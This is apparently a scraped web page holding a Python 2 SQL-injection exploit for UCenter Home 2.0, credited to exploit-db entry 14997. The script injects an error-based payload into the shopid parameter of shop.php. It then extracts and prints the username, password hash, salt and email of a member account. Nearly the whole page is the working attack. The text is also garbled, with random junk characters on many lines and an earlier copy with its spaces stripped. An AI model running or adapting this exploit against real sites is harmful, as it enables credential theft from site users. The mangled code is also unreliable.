UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
# r+ ~& l9 ?; l+ E
7 E1 C! F: I5 z& R" T. T4 m
8 j7 \; N6 W1 C6 n+ S/ R/ ^1 k# k#!/usr/bin/env python  
" E7 P, W& E8 o" E! N, o8 O( J$ f
import sys  
4 q. |* y: b- W- fimport urllib2  
import re  

def info():  
    print 'From:http://www.exploit-db.com/exploits/14997/'
) {. V9 N* V: h4 v1 @    print 'http://www.hake.cc/Web_loudong/'
    print 'changed:qiaoy'  
+ S7 }6 H7 u4 S2 ^$ s1 Z    print 'exp:'  
    print ' ./UCenter_Home_2.0.py site'  
$ J- A. _0 k0 Z
! O8 I, r1 t0 m/ f& _4 r% jdef main():  
    if len(sys.argv) != 2:  
1 Z4 o& D: x" @: x        info()  
7 H  n& w4 m2 S5 g3 S    else:  
        site = sys.argv[1]  
        if site[0:7] == 'http://':  
            sitesite =site  
        elif site[0:8] == 'https://':  
            sitesite = site  
' p- j$ e5 M3 @2 V1 Z; c        else:  
; }3 p% V  m8 w+ I8 X            site = 'http://'+site  
        try:  
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
            Value = urllib2.urlopen(url).read()  
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
2 o9 |& ~, U' [/ c            hacked = Msg.split(':')  
            print 'Name:    '+hacked[1]  
0 q% a& n. A5 D+ m            print 'Passwd:  '+hacked[2]  
' {3 d  j& O+ \5 Q: ]            print 'salt:    '+hacked[3]  
            print 'email:   '+hacked[4]  
        except:  
            print 'Sorry,I can\'t work............'  
0 C# h  D' s/ N3 u- G
0 ]7 k9 a6 y  j: dif __name__ == '__main__':  
" z, Q6 v/ ^1 `7 \1 J* a    main()